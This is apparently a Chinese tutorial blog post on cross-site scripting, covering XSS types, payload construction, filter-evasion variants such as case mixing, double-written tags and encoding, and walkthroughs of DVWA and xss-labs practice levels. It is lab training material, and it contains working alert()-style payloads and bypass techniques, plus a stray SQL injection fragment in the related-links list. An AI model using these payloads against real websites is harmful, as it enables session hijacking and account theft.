XSS 跨站脚本

2023-11-18

XSS 跨站脚本

一、 什么是XSS

XSS(Cross-site Scripting),中文名跨站脚本攻击。其原理是攻击者利用浏览器执行前端代码(HTML、CSS、JavaScript)的特性,将恶意的JavaScript代码插入到页面中,当用户浏览页面时,导致恶意代码被执行。

二、XSS的危害

1)、窃取用户cookie资料,冒充用户身份进入网站
2)、劫持用户会话,执行任意操作
3)、刷流量,执行弹窗广告
4)、盗取各种用户账号
5)、传播蠕虫病毒
6)、攻击者能在一定限度内记录用户的键盘输入

三、XSS的分类

1、反射型XSS

也称为非持久型的XSS,客户端访问某条链接时,可以将恶意代码植入URL,若服务器未对URL参数进行全面的处理、过滤,那么将造成XSS漏洞。参数型脚本在搜索框等地方。
数据走向:浏览器 —— 后端 —— 浏览器

2、存储型XSS

称为持久型XSS,可以将输入的代码持久的保存到服务器上,显示到HTML页面中,经常出现在网站的评论、弹幕、建议栏、博客发布界面等页面。
数据走向:浏览器 —— 后端 —— 数据库 —— 后端 —— 浏览器

3、DOM型XSS

基于文档对象模型(Document Object model)的漏洞

四、XSS Payload构造

原文链接:https://blog.csdn.net/Fighting_hawk/article/details/123095511
1、利用<>构造HTML标签和标签

<script> alert (/xss/) </script>
<script> confirm ('xss') </script>
<script>  prompt("xss") </script>

2、利用HTML标签的属性值(伪协议)
例如:

//利用a标签的javascript:伪协议
<a href="javascript :alert(/xss/)"> touch me! </a>

3、利用事件
Windows事件(对Windows对象触发的事件)
Form事件(HTML表单内的动作触发器事件)
Keyboard 事件(键盘按键)
Mouse事假(由鼠标或类似用户动作触发的事件)
Media事件(由多媒体触发的事件)

<img src='./smile.jpg' onmouseover='alert(/xss/)'>	//该标签会引入一张图片,然后鼠标悬停在图片上的时候,会触发XSS代码。
<img src='./smile.jpg' onerror='alert(/xss/)'>		//onerror会在文档载入失败时触发XSS,比如下一个语句
<img src='#' onerror='alert(/xss/)'>				//与上一个语句相比,将文件路径改成#,一定载入失败,触发XSS
<input type="text" onkeydown="alert(/xss/)">		//单行文本框的键盘点击事件,当点击键盘任一按键时触发XSS。
<input type="text" onkeyup="alert(/xss/)">
<input type="button" onclick="alert(/xss/)">

4、利用css

<div style = "backgroud-image:url(javascript:alert(/xss/))">
//页内样式
<style>Body{backgroud-image:url(javascript:alert(/xss/))}</style>
//外部样式
<link rel="stylesheet" type="text/css" href="./xss.css"><div>hello<div>

五、XSS Payload 变形

1、大小写:改变XSS payload 构造的大小写混编

<A Href="javascript :alert(/xss/)"> touch me! </a>

2、双写关键字

<sc<script>ript> alert (/xss/) </script>

3、引号,在html标签中可以不用引号,若在js中,可以用反引号代替双引号。

<img src="#" onerror="alert(/xss/)">
<img src='#' onerror='alert(/xss/)'>
<img src=# onerror=alert(/xss/)>

4、编码
1、URL编码: 一个百分号和该字符的ASCII编码所对应的2位十六进制数字。
2、HTML实体编码: 以&开头,分号结尾的。 例如“<”的编码是“<”
HTML实体编码(10进制与16进制)
3、JavaScript编码: js提供了四种字符编码的策略
三个八进制数字,如果不够个数,前面补0,例如“<”编码为“\074”
两个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\x3c”
四个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\u003c”
4.base64编码: 一般需要配合data协议使用
5、用 / 来代替空格

<img/src='./smile.jpg'/onmouseover='alert(/xss/)'>	

6、Tab 与 回车:在一些位置添加Tab和回车符来绕过关键字检测

<img src	='./smile.jpg'onmouseover='alert(/xss/)'>	
<a href="jav
ascript :alert(/xss/)"> touch me! </a>

六、靶场练习

一、DVWA
1、反射型XSS(reflected)

low等级 :

输入  <script>alert(/XSS/)</script>

在这里插入图片描述
Medium等级
查看源码,str_replace把

大小写绕过:<ScriPt>alert(/XSS/)</ScriPt>
还可以用其他标签绕过<img><a>

在这里插入图片描述
high等级
因为对

<img src="1.jpg" onerror='alert(/XSS/)'>

在这里插入图片描述

2、存储型XSS(stored)

low等级
分析源码
在这里插入图片描述
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
在这里插入图片描述
stripslashes(string)去除掉string字符里面的反斜杠\

输入:<script>alert("886")</script>

在这里插入图片描述
Medium等级
在这里插入图片描述
查看源码,发现只对name框进行了过滤“script”处理。所以可以通过双写和大小写进行绕过。

<Script>alert("大小写绕过")</Script>
<sc<script>ript>alert("双写绕过")</script>

通过输入发现,对name输入的长度有限制
在这里插入图片描述
找到name框的长度设置
在这里插入图片描述
修改完name的长度限制,就可以插入语句
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
high等级
strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用标签。

addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
在这里插入图片描述通过观察源代码,发现都对name和message框进行一定的过滤。可以通过构造伪协议进行绕过。

<img src="1.jpg" onerror=alert("绕过")>

在这里插入图片描述

3、DOM型XSS

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
在这里插入图片描述
low等级 :
选择下拉列表框,查看源码,在input上插入代码
在这里插入图片描述
在这里插入图片描述
Medium等级
在这里插入图片描述
high等级
在这里插入图片描述

二、XSS
level 1

在这里插入图片描述

level 2

通过提交的代码查看页面源代码,可以发现在h2标签中恶意代码被编码了,其中<和>都被编码成了html字符实体。将属性的引号和标签先闭合来进行尝试,左边的 "> 去闭合原先的 " , 右边的 // 去注释原先的 ">

htmlspecialchars() 函数把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体:

在这里插入图片描述

在这里插入图片描述

level 3

与第二关相似,但它也对内容进行了编码
在这里插入图片描述
这里可以通过input标签的一些特殊事件来执行js代码,onfocus事件属性,需要点击输入框才能出现弹窗.
在这里插入图片描述

level 4

与第二关相似,但它是双引号类型的
在这里插入图片描述
在这里插入图片描述

level 5

通过输入测试语句,分析网页源代码发现,可以构造伪协议的方式来进行
在这里插入图片描述

使用javascript的伪协议,使用a标签
在这里插入图片描述

level 6

经过多种测试,发现有些关键字会被加下划线
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
当时用伪协议的大小写绕过就可以
在这里插入图片描述

level 7

先输入测试语句,进行测试

<script>alert(/xss/)</script>

发现将 < 和 > 进行编码处理了,把script字符直接删除了
在这里插入图片描述
使用onfocus事件进行测试
在这里插入图片描述
也可双写绕过
在这里插入图片描述

level 8

测试payload,可以看见前面测试过的基本都过滤了,大小写也都卡的死死的
在这里插入图片描述
通过查看源代码,可以发现对关键字转为小写,对关键字加下换线进行处理,对<,>y也做转为实体的处理
在这里插入图片描述
所以我们可以尝试通过编码的方式来进行操作
使用编码工具,将代码进行编码
在这里插入图片描述
在这里插入图片描述
点击友情链接
在这里插入图片描述

level 9

与level 8 一样
在这里插入图片描述

level 10

先用测试语句进行测试,发现有一个表单,这里有三个input标签的话,也就意味着是三个参数,我们要测试哪一个input可行
在这里插入图片描述
查看网页后端源代码,发现可以对t_sort进行传值,但对< , >进行了过滤,所以可以用利用事件进行注入
在这里插入图片描述
但是因为input是隐藏的,所以不会触发事件,需要通过其它方法触发
在这里插入图片描述
可以采用type属性:
在这里插入图片描述
在这里插入图片描述

level 11

输入测试语句,查看页面源代码,发现与level 10 相似
在这里插入图片描述
再用level 10 的方法做了一遍发现没用,在仔细观察页面源代码,发现最后一个input有一个URL地址,所以referer头也成了输出参数
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

level 12

通过查看页面源代码判断user-agent字段为web页面的自定义变量,可能存在xss注入点
在这里插入图片描述
在这里插入图片描述

level 13

通过查看页面源代码判断Cookies 字段为web页面的自定义变量,可能存在xss注入点

在这里插入图片描述
所以格式为user=插入的代码在这里插入图片描述

level 14

看其他文章说这是一个exif xss漏洞,点击这个连接可以得到一个图片,在查看图片的属性,在属性中插入代码,再上传图片就可以执行,但是这个连接打不开
在这里插入图片描述

level 15

采用 onmouseover事件
在这里插入图片描述

在这里插入图片描述

level 16

用onmouseover事件
在这里插入图片描述

level 17

看这个URL应该是要进行参数拼接
在这里插入图片描述
在这里插入图片描述
因为原来的图片加载不出来,所以换了个图片
在这里插入图片描述
在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

XSS 跨站脚本 的相关文章

  • Mysql 报错注入方式总结

    floor 注入语句 id 1 and select 1 from select count concat user floor rand 0 2 x from information schema tables group by x a

随机推荐

  • 解密aes加密的m3u8片段的方法

    现在一些m3u8是有aes加密的 解密方法也简单 只要找到m3u8指定的密码文件就行了 一般都在 EXT X KEY METHOD AES 128 URI xxx 这里 下面的代码显示了在下载ts片段和密码文件后如何解密 假设已下载的m3u
  • Qt实战-聊天界面案例

    Qt实战 聊天界面案例 本项目模仿某平台 实现类似的聊天案例 喜欢的朋友可以在此基础上进行添加功能 1 原理 使用udp通信接收本地服务器的消息 ui gt setupUi this 初始化操作 udpSocket new QUdpSock
  • C语言:结构体中(.)和(->)的区别

    首先 要了解 a b 等价于 a gt b 概念上 一般情况下用 只需要声明一个结构体 格式是 结构体类型名 结构体名 然后用结构体名加 加域名就可以引用域 了 因为自动分配了结构体的内存 如同 int a 一样 而用 gt 则要声明一个结
  • 会议通知

    全国高校Python数据分析与实训课程 高级研修班 通 知 各高校教务处 各相关院系负责人 依据 教育部高等学校教学指导委员会章程 规定 教育部高等学校教学指导委员会的任务之一是 组织师资培训 沟通信息 交流教学建设和教学改革经验 宣传推广
  • 2022 Java面试题

    Java面向对象有哪些特征 如何应用 面向对象编程是利用类和对象编程的一种思想 万物可归类 类是对于世界事物的高度抽象 不同的事物之间有不同的关系 一个类自身与外界的封装关系 一个父类和子类的继承关系 一个类和多个类的多态关系 万物皆对象
  • 基于MATLAB GUI的LSB语音信号数字水印

    基于MATLAB GUI的LSB语音信号数字水印 数字水印是一种在数字媒体中嵌入信息的技术 它可以用于版权保护 身份验证以及数据完整性验证等应用 在本文中 我们将介绍如何使用MATLAB GUI和最低有效位 Least Significan
  • Vue2.0知识点

    Vue2 0指令 v text指令 内容渲染指令 它会覆盖元素内部原有的内容 语法 插值表达式 专门用来解决v text会覆盖默认文本内容的问题 v text和插值表达式只能渲染纯文本内容 插值表达式不能用到属性节点 v html指令 可以
  • FFmpeg H264增加SEI

    先看使用场景 https blog csdn net lsheevyfg article details 80951415 https www jianshu com p 4d9120dfcd69 参考文章 https blog csdn
  • 【Python基础】Jupyter Notebook最常用的五大配置技巧

    说到Jupyter Notebook 以下简称Jupyter 想必很多人都不陌生 这是一款神奇的web应用 权且可以把它当作python超级笔记本 当然它还支持R Julia Scala Js等几十种语言 在Jupyter上 可以使用pyt
  • Spring Security OAuth2.0(四)-----OAuth2+JWT

    传统的通过 session 来记录用户认证信息的方式我们可以理解为这是一种有状态登录 而 JWT 则代表了一种无状态登录 无状态登录天然的具备单点登录能力 1 无状态登录 1 1 什么是有状态 有状态服务 即服务端需要记录每次会话的客户端信
  • Python中__str__的用法

    str 和 repr 如果要把一个类的实例变成 str 就需要实现特殊方法 str 不使用 str print打印出来是个对象 使用了就把对象变成字符串 class Person object def init self name gend
  • 蓝桥杯模块练习6-AD

    main c include
  • ag-grid Column API(机器翻译)

    Column API 一些API方法采用colKey类型为的列关键字 名为 Column string 这意味着您可以传递一个Column对象 通过调用其他方法之一接收到的对象 也可以传递Column ID 即string 列ID是列定义的
  • 【毕业设计】深度学习卫星遥感图像检测与识别系统(目标检测)

    文章目录 0 前言 1 课题背景 2 实现效果 3 Yolov5算法 4 数据处理和训练 5 最后 0 前言 Hi 大家好 这里是丹成学长的毕设系列文章 对毕设有任何疑问都可以问学长哦 这两年开始 各个学校对毕设的要求越来越高 难度也越来越
  • 远程控制,从个人便捷走向企业安全

    根据风险基础安全 Risk Based Security 的数据显示 2020年全球数据泄漏达到360亿条 创历史新高 对比传统的网络安全威胁 数据安全威胁更加多样化 80 的安全风险来自于内部人员或合作伙伴 威胁形式也更集中在账号体系薄弱
  • mybatis中association和collection的column传入多个参数问题

    mybatis中association和collection的column传入多个参数值 项目中在使用association和collection实现一对一和一对多关系时需要对关系中结果集进行筛选 如果使用懒加载模式 即联合使用select
  • mysql mariadb不能启动原因_centOS7 (64) MariaDB无法启动 跪求解决方法

    在CentOS7中mysql被 MariaDB所代替 幸得 贵在坚持 提点 顺利下载 MariaDB等相关软件但是安装完毕后 mariadb还是无法正常启动 root localhost service mariadb start Redi
  • mysql怎么替换部分字符串

    mysql替换部分字符串的方法 1 使用REPLACE 函数 语法 REPLACE 字符串 查找值 替换值 2 使用INSERT 函数 语法 INSERT 字符串 替换开始位置 要替换的字符数 替换值 mysql替换部分字符串 1 使用RE
  • 多租户mysql架构_团队开发框架实战—多租户架构

    1 对多租户的理解 多租户定义 多租户技术或称多重租赁技术 简称SaaS 是一种软件架构技术 是实现如何在多用户环境下 此处的多用户一般是面向企业用户 共用相同的系统或程序组件 并且可确保各用户间数据的隔离性 简单讲 在一台服务器上运行单个
  • XSS 跨站脚本

    XSS 跨站脚本 一 什么是XSS XSS Cross site Scripting 中文名跨站脚本攻击 其原理是攻击者利用浏览器执行前端代码 HTML CSS JavaScript 的特性 将恶意的JavaScript代码插入到页面中 当